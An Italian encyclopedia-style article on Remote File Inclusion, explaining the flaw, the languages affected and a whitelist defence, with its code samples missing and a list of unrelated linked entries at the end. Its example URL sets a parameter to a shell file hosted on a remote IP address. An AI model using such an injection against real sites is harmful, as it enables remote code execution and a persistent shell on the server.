Remote File Inclusion

Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità di esecuzione di script arbitrari che affligge i servizi web che soffrono di uno scarso controllo delle variabili inviate da un utente.

Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità di esecuzione di script arbitrari che affligge i servizi web che soffrono di uno scarso controllo delle variabili inviate da un utente.

Descrizione

Quando un'applicazione permette ad un utente di inserire il nome di un file da eseguire senza effettuare controlli sufficienti, il percorso può venire manipolato in modo da diventare un URI che indica un file remoto, che verrà quindi eseguito sul server.

Questo attacco si distingue dalle più generiche directory traversal nelle quali si ottiene l'accesso non autorizzato ad almeno parte dei file presenti sul server web, dato che nella remote file inclusion viene aggiunta una fonte di codice eseguito sulla macchina, portando quindi ad una arbitrary code execution. Un attaccante potrebbe poi sfruttare l'accesso per creare una shell sul server, in modo da ottenere una via d'accesso persistente.

Linguaggi di programmazione e RFI

Di solito le vulnerabilità di file inclusion vengono trovate in programmi con un'inclusione di file dinamica, come PHP (anche a causa di alcune scelte riguardo ai valori di default dei file di configurazione) e JavaScript, che sono linguaggi interpretati. Nonostante linguaggi come C e C++ usino l'inclusione di file per gestire le librerie non soffrono dello stesso problema, essendo esse gestite da un preprocessore, quindi l'inclusione di librerie non è parametrizzabile, manipolabile dall'utente. Questo non li rende però immuni da path traversal a causa ad esempio dell'utilizzo improprio di fopen().

Esempio di codice vulnerabile

Questo è un semplice esempio di sito vulnerabile:

server.php:

Andando sulla pagina e scegliendo la lingua italiana, si avrebbe un URL di questo tipo:

http://sito.it/server.php?lingua=italiano

modificando la variabile lingua a piacere si avrà invece:

http://sito.it/server.php?lingua=http://151.27.56.172/shell.txt

in questo caso la variabile lingua assume il valore http://151.27.56.172/shell.txt immesso e nella pagina viene incluso il file shell.txt presente sulla macchina raggiungibile all'indirizzo IP inserito.

Come difendersi

Quando in una applicazione web non è possibile né rimuovere la possibilità di includere file, né non permettere all'utente di scegliere in modo diretto il file da includere, una soluzione è quella di fare in modo che il server espliciti quali sono le pagine che è possibile includere in un ragionamento simile a quello delle whitelist, indicizzarle, e permettere all'utente di scegliere di inserire un'opzione (spesso un indice) che identifica univocamente quel file. Se il valore inserito dall'utente non corrisponde ad uno degli identificatori messi a disposizione, l'input deve venire scartato.

http://miosito.it/index.php?pagina=1

poi all'interno della pagina si effettua un controllo sull'input dell'utente, per verificare che corrisponda ad un'opzione valida. Esempio:

Servizi correlati

Altre voci

I

ISO/IEC 8859-1

ISO/IEC 8859-1 è una codifica di caratteri standard appartenente alla famiglia ISO 8859, orientata principalmente alla rappresentazione delle lingue dell'Europa occidentale (elencate sotto). Standardizzato nel 1998, costituisce la base degli insiemi di caratteri ad otto bit più diffusi e…

Leggi la voce →
D

Database delle vulnerabilità

Un database delle vulnerabilità (vulnerability database, VDB) è una piattaforma finalizzata a raccogliere, mantenere e diffondere informazioni sulle vulnerabilità informatiche note. Il database, di norma, descrive la vulnerabilità identificata, valuta il potenziale impatto sui sistemi…

Leggi la voce →
Nikolaj Coster-WaldauN

Nikolaj Coster-Waldau

Nikolaj Coster-Waldau (Rudkøbing, 27 luglio 1970) è un attore e diplomatico danese, noto principalmente per il ruolo di Jaime Lannister nella serie televisiva Il Trono di Spade.

Leggi la voce →
V

Vulnerabilità (informatica)

Una vulnerabilità informatica è un difetto o una debolezza nel progetto, nella realizzazione o nel funzionamento e nella gestione di un sistema informatico, che potrebbe essere sfruttato per violare la politica di sicurezza del sistema.

Leggi la voce →
Garante per la protezione dei dati personaliG

Garante per la protezione dei dati personali

Il Garante per la Protezione dei Dati Personali (GPDP), noto anche come Garante della privacy, è un'autorità amministrativa indipendente italiana istituita dalla legge 31 dicembre 1996, n. 675, per assicurare la tutela dei diritti e delle libertà fondamentali e il rispetto della dignità nel…

Leggi la voce →
C

Crittografia (enigmistica)

La crittografia è un gioco enigmistico dei più impegnativi.

Leggi la voce →